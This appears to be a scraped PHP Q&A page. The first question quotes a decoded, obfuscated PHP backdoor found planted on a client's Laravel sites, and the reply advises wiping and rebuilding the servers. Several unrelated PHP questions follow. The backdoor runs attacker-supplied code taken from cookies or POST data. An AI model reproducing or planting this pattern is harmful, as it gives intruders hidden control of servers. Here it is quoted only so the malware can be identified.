For a customer I am maintaining a small group of websites built in PHP Laravel. Lately while working on these I have discovered a couple of new suspicious looking files, which suddenly appeared on two of the websites FTP servers. The files are not originally a part of the codebase, and I have no idea where they're coming from all of a sudden. There are three files in total, named b3lo5x3x.php, cache.php and plugin.php and they are located in the root directory of the websites.
The content of the files looks pretty disturbing. When decoded on unphp.net I get the following result, which is the exact same for all three files. The size of all three files are also the same.
<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
function dgubnv($fvgiv, $lfpfzw, $nclll) {
return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
}
function oocfo($fvgiv, $elasr) {
return #$fvgiv[9]($fvgiv[1], $elasr);
}
function yiugt($fvgiv, $elasr) {
$vezpr = $fvgiv[3]($elasr) % 3;
if (!$vezpr) {
eval($elasr[1]($elasr[2]));
exit();
}
}
$wqudv = oocfo($fvgiv, $wqudv);
yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>
Does anyone know what this can be? Can it be that the FTP servers are infected with some kind of malware or hacking tools?
Wipe the machines affected completely. You need to reinstall the Laravel project(s) to a new clean machine. You also should audit them and any other software used if possible.
Make sure that all of the software on the server is updated too. Most likely you were compromised through a non updated software with a known vulnerability.
Related
while trying to generate dynamic sitemaps, I tried adding two variables in url path, and the line is giving me error
this is my sample line:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
I tried doing it like this also:
echo "<loc>{$base_url}category.php?category={$subFeaturedPostCatSlug}&job={$subFeaturedPostSlug}</loc>" . PHP_EOL;
error screenshot attached;
Any help will be appreciated, thanks in advance
Try this -
$str = $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . $subFeaturedPostSlug . "" . PHP_EOL;
echo htmlspecialchars_decode($str);
You should be able to fix this using the urlencode() function as mentioned in your comments.
So,
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
becomes
echo "<loc>" . urlencode($base_url) . "category.php?category=" . urlencode($subFeaturedPostCatSlug) . "&job=" . urlencode($subFeaturedPostSlug) . "</loc>" . PHP_EOL.PHP_EOL;
More details at PHP Documentation for urlencode()
Also, I found out that there is error in your code:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
Towards the end of the echo, you have written:
...PHP_EOL;PHP_EOL;
which should ideally have been
...PHP_EOL.PHP_EOL;
I have following string (using $_POST), how to remove all the new line, spaces and make it as a absolute single line?
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92
Not always stable?
$request= mysql_real_escape_string(trim($_POST['request']));
$request_sql =str_replace("\r\n",'', $request);
$request_sql = str_replace("\\r\\n",'', $request_sql);
echo $request_sql;
trim only strips spaces at end and start of the string and you should strip \r and \n individually.
try this:
$request= mysql_real_escape_string($_POST['request']);
$request_sql =str_replace("\n",'', $request);
$request_sql = str_replace("\r",'', $request_sql);
$request_sql = str_replace(" ",'', $request_sql);
echo $request_sql;
Try using regex.
$request = $_POST['request'];
//Remove all characters that are not A-Z, a-z, 0-9 or '.', ':' or '-'
$request_sql = preg_replace("/[^A-Za-z0-9.:-]/", '', $request );
try:
$str = 'Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92';
echo str_replace(" \n", '', $str);
Output:
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60Physical Address. . . . . . . . . : 04-EA-56-08-E6-8FPhysical Address. . . . . . . . . : 06-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-92
After replacing the \n you can use mysql escape string to avoid sql injection.
The problem with your code is that mysql_real_escape_string will not only escape ' and " but it will escape other characters like \n and \r which you want to remove.
It will replace new line characters with a backslash character followed by l characters
so removing newlines, carriage return after they have been escaped will result in a string with extra backslashes \ and n and r characters.
Check out this
<?php
$originalString =
"Line1
Line2
";
// CASE 1 WRONG RESULT
$string1 = mysqli_real_escape_string($con, $originalString);
$string1 = str_replace("\n", '', $string1);
echo "escape then replace result \n";
echo $string1 . "\n";
//CASE 2 EXPECTED RESULT
$string2 = str_replace("\n", '', $originalString);
$string2 = mysqli_real_escape_string($con, $string2);
echo "replace then escape result \n";
echo $string2 . "\n";
this will output
escape then replace result
Line1\nLine2\n
replace then escape result
Line1Line2
So to correct your code
$request_sql =str_replace(["\n", "\r", " "],'', $_POST['request']);
$request= mysql_real_escape_string($request_sql);
echo $request_sql;
Please don't use mysql_real_escape_string , instead use prepared statements, here an answer for how to switch to them, they will make your life much more easier and safer.
The problem is simple. Running a php file in browser vs command line produces very different results and I can't for the life of me figure out why. Any php/psexec experts out there run into this before?
<?php
echo '<pre>';
$output = shell_exec("psexec -accepteula \\\mypcname -u mypcname\\accountname -p xxxxxxx ipconfig /all 2>&1");
var_dump($output);
echo '</pre>';
Produces this output in a browser window...
string(350) "
PsExec v2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows IP Configuration
Connecting to admin-pc...
Starting PSEXESVC service on admin-pc...
Connecting with PsExec service on admin-pc...
Starting ipconfig on admin-pc...
ipconfig exited on admin-pc with error code 0.
Instead of this, which is the output I get when running the same php file via command line.
C:\MAMP\bin\php\php5.5.12>php-cgi c:\mamp\htdocs\go.php
X-Powered-By: PHP/5.5.12
Content-type: text/html
hi<pre>string(5113) "
PsExec v2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows IP Configuration
Host Name . . . . . . . . . . . . : mypcname
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : home
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : home
Description . . . . . . . . . . . : Intel(R) 82567LM-2 Gigabit Network Connec
tion
Physical Address. . . . . . . . . : xx-xx-xx-xx-xx-xx
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.1.4(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Thursday, October 09, 2014 4:36:43 PM
Lease Expires . . . . . . . . . . : Tuesday, October 14, 2014 4:16:04 PM
Default Gateway . . . . . . . . . : 192.168.1.1
DHCP Server . . . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 8.8.8.8
8.8.4.4
NetBIOS over Tcpip. . . . . . . . : Enabled
"
</pre>
C:\MAMP\bin\php\php5.5.12>
Everytime I run this part of my script, stript stop working.
$url = $this->getUrl . '?id=' . $this->apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($this->product) . '&orderid=' . $this->order_id;
foreach ($this->products as $product) {
$url .= '&produkt[]=' . urlencode($product);
}
When I change $url = $this->getUr ... ... to $url = http://blablabla.com/blabla... ... all is working fine.
Where is a bug?
yeah, set put "php_flag display_errors on" into .htaccess file in that folder and you'll see where is the problem.
From
$url = $this->getUrl . '?id=' . $this->apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($this->product) . '&orderid=' . $this->order_id;
foreach ($this->products as $product) {
$url .= '&produkt[]=' . urlencode($product);
}
to
$url = $getUrl . '?id=' . $apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($product) . '&orderid=' . $order_id;
$this-> is not defined in my script, so after deleting it, script works fine. But everybody must define $product before url is creating. It works in my script!
I am using the following script to send data from a form to google analytics:
if ($result){
$var_utmac = 'UA-0000000-0';
$var_utmhn = 'my-site.com'; // domain
$var_utmn = rand(1000000000,9999999999); // random number
$var_cookie = rand(10000000,99999999); //random cookie number
$var_random = rand(1000000000,2147483647); //number under 2147483647
$var_today = time();
$var_referer = $_SERVER['HTTP_REFERER']; //referer url
if ($var_referer == '') { $var_referer = '-'; }
$var_uservar='-'; // no user-defined
$var_utmp= $_POST['REQUEST_URI'].'data_'. htmlentities($_POST['dataone']).'_'.htmlentities($_POST['datatwo']); // folder called no_jstracker to segment nojavascript visitors
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D_CAMPAIGN_%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D_KEYWORD_%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
echo ' <img src="' . $urchinUrl . '" border="0" />';
}
While the data is being sent successfully there is one issue and that is that analytics doesn't show some of the data correctly i.e. for campaign data ist just shoes "CAMPAIGN" for keyword it shows "KEYWORD". It is clear where this happens in the script but am not sure how to fix it. Ideally of course analytics should populate that with its own data.
Any suggestions whether this is even possible?
i think this is happen because you hard coded "CAMPAIGN" value. instead of that assign value for campaign.
$CAMPAIGN='facebook';
$KEYWORD='testing';
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D'.$CAMPAIGN.'%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D'.$KEYWORD.'%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
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